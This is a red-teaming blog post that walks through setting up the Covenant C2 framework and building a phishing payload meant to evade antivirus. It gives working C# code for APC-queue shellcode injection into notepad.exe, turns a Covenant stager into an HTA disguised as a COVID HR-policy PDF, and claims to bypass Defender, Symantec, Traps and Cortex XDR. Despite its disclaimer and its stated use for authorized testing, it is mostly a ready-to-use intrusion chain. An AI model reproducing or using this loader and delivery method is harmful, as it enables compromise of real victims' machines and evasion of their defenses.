Red Teaming Series:
Part 1 : Setting the environment, Running the C2 server on Docker and Bypassing latest security controls.note: This post is a very detailed blog, our aim is to spread the knowledge to all interested people in this community , we learnt a lot from the community and its time to payback with whatever we can :)
Red Teaming is a process where you will be asked to achieve a goal such as compromising the domain controller without getting any help from the customer side (physical access to customer internal network, NAC white-list , etc …) or trying to access a certain data which is usually very critical to the customer.
Red Teaming is an external threat simulation where we will simulate external actors who try to have access to the internal network and escalate their privilege to access critical resources in the internal network of a customer. or even evading their security solutions, controls and their blue team.
Due to the fact that -at least for the time being- we cannot purchase CobaltStrike since its not for sale in our region, we will be using Covenant (https://github.com/cobbr/Covenant). Thank you Soufiane Ouha for the recommendation
which will act as our C2 server (Covenant is a .NET C2 framework).
The first step in red teaming is getting a foothold inside the target’s internal network which will be done by running a malicious payload that will connect back to Covenant, enabling us to control the infected host on which the payload was executed.
The payload will be shared using email, USB drops in some cases or any of social engineering methods.
One of our future parts will cover sending email phishing campaign, we will be sharing our own humble script :)
The method discussed below has been tested and was successful on a windows machine with the latest windows update, Symantec and Palo Alto Traps Agents.
It was also tested against Windows Defender and Cortex XDR.
Setting Up the C2 infrastructure
Before going through the email sending step we will need to prepare our payload and configure it to run in a stealthy way on target hosts and connect back to our C2 framework instance.First step is setting up Covenant, we will set it up in a Docker instance which could be exported and saved for later use.
You can install and setup Docker using the following script, it is recommended to host the C2 platform on a hosting service such as AWS or on a droplet from DigitalOcean.
install.sh (installing docker)
#!/bin/bash
# Remove any existing docker packages and update package list
sudo apt remove docker docker-engine docker.io -y
sudo apt update
# Install apt HTTPS packages
sudo apt install apt-transport-https ca-certificates curl gnupg2 software-properties-common -y
# Add Docker GPG key
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
# Verify key exists
# sudo apt-key fingerprint 0EBFCD88
# Add stable repo
# sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian jessie stable"
echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list
# Update repo list
sudo apt update
# Finally, install Docker Community Edition
sudo apt install docker-ce -y
# Verify install by running the docker hello world
systemctl start docker
sudo docker run hello-world
After setting up Docker, use the following commands to setup Covenant:
git clone --recurse-submodules https://github.com/cobbr/Covenant
cd Covenant/Covenant
~/Covenant/Covenant > docker build -t covenant .
docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /absolute/path/to/Covenant/Covenant/Data covenant --username <username> --computername 0.0.0.0
The last command will prompt you to enter a password for the user that will be used to access the WEB UI of Covenant so please keep it somewhere safe and keep in mind the fact that most cloud services providers offer security groups (firewall) that you will need to configure in order to allow access to Covenant UI which is at port 7443 (TCP/HTTPS). -We recommend limiting the access of covenant UI only to you (using your public ip only)-.
To stop the container, you can run:
$ ~/Covenant/Covenant > docker stop covenant
And to restart Covenant interactively (with all data saved), you can run:
$ ~/Covenant/Covenant > docker start covenant -ai
Using Covenant C2 framework
Since covenant generates its payload using DotNetToJScript, we will not use the default generated payloads from covenant. Because it will not work with Windows 10 and windows server 2016 as written in the description.
So we will be using GadgetToJScript By our Dear friend Mohamed El Azaar.(https://github.com/med0x2e/GadgetToJScript) with the help of Donut (https://github.com/TheWover/donut)
to generate the undetectable foothold (HTA, JS, VBS or VBA)
We will start by setting up GadgetToJScript and weaponizing it.
Note : The default tool will generate a message box by default, that’s why we need to weaponize it.
Install GadgetToJScript on your windows machine from here :
After installing it, open your Visual Studio and update the TestAssemblyLoader.cs file located in ...\GadgetToJScript-master\GadgetToJScript-master\GadgetToJScript with the following content:to generate the undetectable foothold (HTA, JS, VBS or VBA)
We will start by setting up GadgetToJScript and weaponizing it.
Note : The default tool will generate a message box by default, that’s why we need to weaponize it.
Install GadgetToJScript on your windows machine from here :
This will allow the tool to to execute on a file named paylaod.txt which should be in the same directory as the exe of GadgetToJscript.
TestAssemblyLoader.cs :
using Microsoft.CSharp;
using System;
using System.CodeDom.Compiler;
using System.Reflection;
using System.Text;
namespace GadgetToJScript
{
class TestAssemblyLoader
{
public static Assembly compile()
{
CSharpCodeProvider provider = new CSharpCodeProvider();
CompilerParameters parameters = new CompilerParameters();
parameters.CompilerOptions = "/unsafe";
parameters.ReferencedAssemblies.Add("System.dll");
parameters.ReferencedAssemblies.Add("System.Core.dll");
parameters.ReferencedAssemblies.Add("System.Runtime.InteropServices.dll");
parameters.ReferencedAssemblies.Add("System.EnterpriseServices.dll");
parameters.ReferencedAssemblies.Add("System.IO.Compression.dll");
string currentDirectory = System.IO.Path.GetDirectoryName(System.Reflection.Assembly.GetEntryAssembly().Location);
string filePath = System.IO.Path.Combine(currentDirectory, "", "payload.txt");
CompilerResults results = provider.CompileAssemblyFromFile(parameters, filePath);
if (results.Errors.HasErrors)
{
StringBuilder sb = new StringBuilder();
foreach (CompilerError error in results.Errors)
{
sb.AppendLine(String.Format("Error ({0}): {1}: {2}", error.ErrorNumber, error.ErrorText, error.Line));
}
throw new InvalidOperationException(sb.ToString());
}
Assembly _compiled = results.CompiledAssembly;
return _compiled;
}
}
}
Now build the project on your visual studio, and now we are ready to use the tool.
Note : You can find the exe file after building the project by navigating to the project directory and then to <project directory>\bin\Debug.
Now go to your Covenant instance on https://x.x.x.x:7443/ and log in with your username and password which you have created.
Covenant expects a listener which the payload (beacon or agent will connect back to).
Navigate to Listeners:
Note : you can use different port of course, but in order to not raise any flags it is recommenced to use usual ports to make it harder to be detected by blue teamers.
Then click on the create button below the page.
Now you will have this in your listener page:
Choose Binary Launcher:
In this blog we will not go into the details about the beacons and the delays and the encryption …etc, we will only be doing a simple demo and then we will publish a new blog (part) of how to tweak such settings on your payloads and make them as stealthy as possible.
Now click on Generate. Then Download the generated binary.
A file with the name of GruntStager.exe will be downloaded to your machine.
Now open your Windows machine and MAKE SURE THAT THE AV IS TURNED OFF.
Download Donut tool https://github.com/TheWover/donut/releases/tag/v0.9.3
Then copy the GruntStager.exe to the same directory of the donut.exeOpen powershell and write the following command
.\donut.exe .\GruntStager.exe
We will use this commands on powershell:
$filename = '<path to your donut project>\donut_v0.9.3\loader.bin'
[Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | Clip
This will add the base64 encoded loader.bin in your clipboard (you only have to paste it).
Now we need to paste the base64 encoded binary to the payload.txt file located in :
<Path to GadgetToJScript>\bin\Debug
First we need to create an empty text file called payload.txt which will be using APC Queue Process Injection to inject your payload in notepad.exe.
payload.txt:
using System;
using System.Runtime.InteropServices;
public class TestClass
{
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, uint dwProcessId);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [MarshalAs(UnmanagedType.AsAny)] object lpBuffer, uint nSize, ref uint lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern IntPtr QueueUserAPC(IntPtr pfnAPC, IntPtr hThread, IntPtr dwData);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint ResumeThread(IntPtr hThread);
[DllImport("Kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("Kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
public static extern bool CreateProcess(IntPtr lpApplicationName, string lpCommandLine, IntPtr lpProcAttribs, IntPtr lpThreadAttribs, bool bInheritHandles, uint dwCreateFlags, IntPtr lpEnvironment, IntPtr lpCurrentDir, [In] ref STARTUPINFO lpStartinfo, out PROCESS_INFORMATION lpProcInformation);
public enum ProcessAccessRights
{
All = 0x001F0FFF,
Terminate = 0x00000001,
CreateThread = 0x00000002,
VirtualMemoryOperation = 0x00000008,
VirtualMemoryRead = 0x00000010,
VirtualMemoryWrite = 0x00000020,
DuplicateHandle = 0x00000040,
CreateProcess = 0x000000080,
SetQuota = 0x00000100,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
QueryLimitedInformation = 0x00001000,
Synchronize = 0x00100000
}
public enum ThreadAccess : int
{
TERMINATE = (0x0001),
SUSPEND_RESUME = (0x0002),
GET_CONTEXT = (0x0008),
SET_CONTEXT = (0x0010),
SET_INFORMATION = (0x0020),
QUERY_INFORMATION = (0x0040),
SET_THREAD_TOKEN = (0x0080),
IMPERSONATE = (0x0100),
DIRECT_IMPERSONATION = (0x0200),
THREAD_HIJACK = SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT,
THREAD_ALL = TERMINATE | SUSPEND_RESUME | GET_CONTEXT | SET_CONTEXT | SET_INFORMATION | QUERY_INFORMATION | SET_THREAD_TOKEN | IMPERSONATE | DIRECT_IMPERSONATION
}
public enum MemAllocation
{
MEM_COMMIT = 0x00001000,
MEM_RESERVE = 0x00002000,
MEM_RESET = 0x00080000,
MEM_RESET_UNDO = 0x1000000,
SecCommit = 0x08000000
}
public enum MemProtect
{
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_EXECUTE_WRITECOPY = 0x80,
PAGE_NOACCESS = 0x01,
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_WRITECOPY = 0x08,
PAGE_TARGETS_INVALID = 0x40000000,
PAGE_TARGETS_NO_UPDATE = 0x40000000,
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr MoreReserved;
}
[StructLayout(LayoutKind.Sequential)]
//internal struct STARTUPINFO
public struct STARTUPINFO
{
uint cb;
IntPtr lpReserved;
IntPtr lpDesktop;
IntPtr lpTitle;
uint dwX;
uint dwY;
uint dwXSize;
uint dwYSize;
uint dwXCountChars;
uint dwYCountChars;
uint dwFillAttributes;
public uint dwFlags;
public ushort wShowWindow;
ushort cbReserved;
IntPtr lpReserved2;
IntPtr hStdInput;
IntPtr hStdOutput;
IntPtr hStdErr;
}
public static PROCESS_INFORMATION StartProcess(string binaryPath)
{
uint flags = 0x00000004;
STARTUPINFO startInfo = new STARTUPINFO();
PROCESS_INFORMATION procInfo = new PROCESS_INFORMATION();
CreateProcess((IntPtr)0, binaryPath, (IntPtr)0, (IntPtr)0, false, flags, (IntPtr)0, (IntPtr)0, ref startInfo, out procInfo);
return procInfo;
}
public TestClass()
{
//Add the shellcode
string b64 = "<Add the Shellcode>";
byte[] shellcode = new byte[] { };
shellcode = Convert.FromBase64String(b64);
uint lpNumberOfBytesWritten = 0;
PROCESS_INFORMATION processInfo = StartProcess("C:/Windows/System32/notepad.exe");
IntPtr pHandle = OpenProcess((uint)ProcessAccessRights.All, false, (uint)processInfo.dwProcessId);
IntPtr rMemAddress = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE);
if (WriteProcessMemory(pHandle, rMemAddress, shellcode, (uint)shellcode.Length, ref lpNumberOfBytesWritten))
{
IntPtr tHandle = OpenThread(ThreadAccess.THREAD_ALL, false, (uint)processInfo.dwThreadId);
IntPtr ptr = QueueUserAPC(rMemAddress, tHandle, IntPtr.Zero);
ResumeThread(tHandle);
}
bool hOpenProcessClose = CloseHandle(pHandle);
}
}
And then add your base64 encoded binary in the b64 string in the script below (search for <Add the Shellcode>).
Your script should look something like this:
Make sure the payload.txt is in the same directory of GadgetToJScript.exe
Then run this command in cmd in the same directory:
GadgetToJScript.exe -w hta -o COVID-17-HR-Policy.PDF
Note: you can add a special PDF icon to the file to lure targets to open it.
Now as mentioned before, using phishing email or any kind of delivery, deliver the hta file COVID-17-HR-Policy.PDF.hta to the victim and wait for them to click on it.
- using -w option you can choose between (hta,js,vbs,vba)
- output file is -o <what ever you want>
Note (AV will be enabled again and try it on the machine, you can use any AV you want but please don’t put it in virus total!)
As you can see, you will receive an event that a grunt has been activated on your covenant server.
Now navigate to grunts tab:
You will see the victims’ machines here, and now you can interact with them ( escalate your privilege depending on the environment and the access level of the compromised user.)
For example :
Click on the grunt that connected to you:
Then go to interact tab:
And write :
WhoAmI
Note: this is our first blog ever :) and hopefully it will be the first step in the 1000 miles march
This is an educational blog. it should be used for authorized red teaming and/or nonprofit educational purposes only. Any misuse of this software will not be the responsibility of the authors or the tools authors. Use it at your own networks, lab and/or with the network owner's permission.